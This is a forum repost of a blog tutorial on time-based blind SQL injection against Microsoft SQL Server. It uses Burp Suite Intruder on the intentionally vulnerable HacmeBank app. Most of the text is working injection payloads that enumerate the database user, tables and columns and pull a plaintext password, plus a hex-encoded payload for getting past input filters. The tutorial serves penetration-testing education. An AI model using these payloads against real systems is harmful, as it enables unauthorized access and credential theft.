Jump to content
Nytro

Blind SQL Injection & BurpSuite - Like A Boss

Recommended Posts

Blind SQL Injection & BurpSuite - Like A Boss

Posted on April 22, 20110 Comments

ection used to be a lot easier a few years ago when it was less known, web application security was less mature, and errors were often exposed. It's very easy to use a variety of methods to cause errors to display database names, table names, column names, and even row values... when errors are enabled. These days, the SQL injection flaws that I am finding are largely of the "blind" type. To take a rough guess, I'd estimate this to be the case at least 8 out of 10 times. That is fine because blind SQL injection is still relatively easy to exploit.... with SQL injection in general still being used to greatsuccess in the wild.

There are plenty of SQL Injection tools out there that will work with blind or error-based vulnerabilities. Many of these are installed and ready to run on the BackTrack 4 R2. SQLMap is a good one but there are a lot and your success will vary. These tools can do more than just extract database data. They can get you root. Sometimes this just isn't in the cards for a variety of reasons and you just want to show proof of concept that you can pull back sensitive data through the web server. I love Burp's Intruder tool for this. I'll demonstrate some techniques below and use HacmeBank as a target even though errors are completely visible in this purposefully vulnerable app and blind techniques are not necessary.

The first thing we do is identify the vulnerable request:

login.request.png

We can send this request to the Repeater tool and inject the SQL syntax, " ' waitfor delay '0:0:30'-- " (omit the double quotes). The vulnerable web application will pass this SQL command directly to the login query causing a 30-second pause.

login.delay.png

That's all just great but we want to do better than just pause the database during our login query. Let's set the HTTP timeout length from 60 seconds to 29 seconds in Burp's timeout options.

burp.timeout.png

Ok, now we'll send our delay injection request over to the Intruder tool. This time the SQL syntax, " 'if (len(user)=1) waitfor delay '00:00:30'-- ." It's also necessary to now mark our payload position in Intruder. Put it where the "1" is.

user.length.position.png

Now that the payload position is marked, we need to define the payload. The SQL question is "How long is the USER variable?" Using a numeric payload, we'll guess 1through 30, a wide margin indeed.

user.length.payload.1.png

One more thing to do is to set the Intruder threads to 1, otherwise when one thread delays the SQL database, the others will be delayed as well and false positives will abound.

burp.intruder.threads.png

Now we should get the length of the "USER" variable in the SQL server when this Intruder attack is started. When the correct payload number is guessed, the application will pause for 30 seconds, expiring our 29-second Burp timeout value.

user.enum.png

At this point a good thing to know is what those 3 characters are that comprise the "USER" variable's length. Just open another Intruder tab and we'll change the attack quite a bit. This time the SQL syntax will be " ' if (ascii(lower(substring((user),1,1)))=100) waitfor delay '00:00:30'-- " and there are actually two changing payloads (highlighted in bold). One is the position of the character and the second is the ASCII decimal code of the character in that position.

user.enum.position.png

The first payload needs to be numeric and range from 1 to 3 since we know that's the number of the character positions whose ASCII codes we want to guess.

user.enum.payload.1.png

For the next payload, we look up our ASCII codes and ponder a bit. 48-126 will get us 0-9, A-Z, and a-z. In our SQL syntax above, you'll notice that we're using the "lower()" function to reduce the number of ASCII code values to guess but our number range will include them anyway so we're not saving any time there. Since we're asking for a username, I doubt there are any special characters (32-47) in it so we'll just be lazy and use 48-126.

user.enum.payload.2.png

Running this attack should yield the three ASCII codes for the SQL "USER" variable. Sorting the results by length will put all of the 0-length, timed out, "true," responses in line.

user.enum-1.png

Reading the timed out (true) values:

  • Payload 1 value 1 = payload 2 value 100 which is "d"
  • Payload 1 value 2 = payload 2 value 98 which is "b"
  • Payload 1 value 3 = payload 2 value 111 which is "o"

Dbo, a good proof of concept but we could have guessed it. Now let's go after some data. How about the SQL syntax, " ' if (ascii(lower(substring((select top 1 name from sysobjects where xtype=char(85) and name like '%user%'),1,1)))=100) waitfor delay '00:00:30'-- ?" This looks for a table that has the word "user" anywhere within. I'm not trying to be sneaky, and blind SQL injection is inherently not sneaky, so I'm just going to guess the length and set the first payload to 1 through 10. Hopefully the table is 10 characters or less in length. I'll keep the second payload at 48-126 (0-9, A-Z, a-z).

user.table.enum.positions.png

Running this attack should produce the ASCII codes for the first table that contains the word "user."

user.table.enum.png

That looks like 102=fs, 98=b, 95=_, 117=u, 115=s, 101=e, 114=r, 115=s (fsb_users). Right on, so now we want the column names for this "fsb_users" table. For that we need to query the native Microsoft SQL "information_schema.columns" table. To do that, we'll use the following SQL syntax: " ' if (ascii(lower(substring((select top 1 column_name from information_schema.columns where table_name='fsb_users'),1,1)))=100) waitfor delay '00:00:30'-- ." Again we'll use two payloads, one for character position and the other for ASCII decimal code.

user.table.first.column.position.png

Running this attack will enumerate the first column in the "fsb_users" table.

user.table.first.column.enum.png

That spells "user_id" which is not very important to me but it does mean that the syntax for the next column in the "fsb_users" table will be, " ' if (ascii(lower(substring((select top 1 column_name from information_schema.columns where table_name='fsb_users' and column_name>'user_id'),1,1)))=100) waitfor delay '00:00:30'-- ."

user.table.second.column.position.png

Running this attack yields the second column name of the "fsb_users" table.

user.table.second.column.enum.png

That's better because this looks like a column name for which I would be interested in row values. The "user_name" table can be used again, iteratively, to retrieve the third column using the following syntax, " ' if (ascii(lower(substring((select top 1 column_name from information_schema.columns where table_name='fsb_users' and column_name > 'user_name'),1,1)))=100) waitfor delay '00:00:30'-- "

However, let's take a leap of faith and guess at the password column using the "like" operative: " ' if (ascii(lower(substring((select top 1 column_name from information_schema.columns where table_name='fsb_users' and column_name like '%pass%'),1,1)))=100) waitfor delay '00:00:30'-- "

user.table.third.column.position.png

Running this will give us the name of the first column in the "fsb_users" table that contains the string, "pass."

user.table.third.column.enum.png

So now we have the predictable, "password" column which we can pair with the "user_name" column to start pulling some rows out. The SQL syntax will be, " ' if (ascii(substring((select top 1 user_name from fsb_users),1,1))=100) waitfor delay '00:00:30'-- ." I took the "lower()" function out just in case the usernames are case-sensitive in the login function.

user.table.first.username.position.png

I want to make sure we account for enough characters that might comprise the firstuser_name value so I'll bump payload 1 up to the range, 1 - 15. We'll leave the second payload the same as before.

user.table.first.username.payload.1.png

Running this attack should output the first "user_name" value in the "fsb_users" table.

user.table.first.username.enum.png

So the first "user_name" is "Jake_Reynolds." The next query will target this user's password. The SQL syntax is, " ' if (ascii(substring((select top 1 password from fsb_users where user_name = 'Jake_Reynolds'),1,1))=100) waitfor delay '00:00:30'-- ." The payload settings can be left alone assuming the user's password is 15 characters or less in length.

user.table.Jake_Reynolds.password.position.png

Running this attack should reveal the password for the user, "Jake_Reynolds." Any web application worth it's salt is going to hash the password columns and use salt so that collision attacks are difficult. HacmeBank contains an unhashed database column. The following screenshot illustrates why you should make sure and encrypt or hash your password columns:

user.table.Jake_Reynolds.password.enum.png

"Jake_Reynolds/P@55w0rd" it is then. Let's test it out of course.

Jake_Reynolds.logged.in.png

Works for me. Let's take it a little further though. I have run up against web applications that filter for various SQL syntax like "select" and other basic SQL key words whilst still using vulnerable dynamic SQL statements on the back end. I've always maintained that input validation is not a very effective means of preventing SQL injection and that real remediation means changing your database access layer to use parameterized/precompiled queries.

One way I've bypassed input filters that look for common words like "if" and "select" is to create a variable, cast it as hex, and execute it. Take the following SQL syntax for instance:

" ';declare @P varchar(4000);set @P=cast(0x69662028617363696928737562737472696e67282873656c65637420746f7020312070617373776f72642066726f6d206673625f757365727320776865726520757365725f6e616d65203d20274a616b655f5265796e6f6c647327292c312c3129293d313030292077616974666f722064656c6179202730303a30303a333027 AS varchar(4000));exec(@P);-- "

The

0x69662028617363696928737562737472696e67282873656c65637420746f7020312070617373776f72642066726f6d206673625f757365727320776865726520757365725f6e616d65203d20274a616b655f5265796e6f6c647327292c312c3129293d313030292077616974666f722064656c6179202730303a30303a333027 is simply a hex-encoded version of the string, " if (ascii(substring((select top 1 password from fsb_users where user_name = 'Jake_Reynolds'),1,1))=100) waitfor delay '00:00:30' . "

password.hex.cast.position.png

One extra thing we need to do is to add payload processing rules in Intruder to hex-encode both of our payloads since they occur within the hex cast.

password.hex.cast.payload.process.rule.png

Now when we run this attack, we get the same results as before and we retrieve the password for "Jake_Reynolds" with one exception. Our values are now ASCII-hex-encoded values of ASCII-decimal codes.

password.hex.cast.enum.png

This time, our results are hexadecimal values for our decimal ASCII codes. So if you follow it:

  • Payload 1 value 0x31 = 1 = Payload 2 value 0x38 0x30 = 80 = "P"
  • Payload 1 value 0x32 = 2 = Payload 2 value 0x36 0x34 = 64 = "@"
  • Payload 1 value 0x33 = 3 = Payload 2 value 0x35 0x33 = 53 = "5"

and so on until you get "P@55w0rd," an admittedly bad password to use on my precious FoundStone bank account. Anyway, that's blind, delay-based, SQL injection data extraction the hard way using BurpSuite to make it easier.

Sursa: https://depthsecurity.com/blog/blind-sql-injection-burpsuite-like-a-boss

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...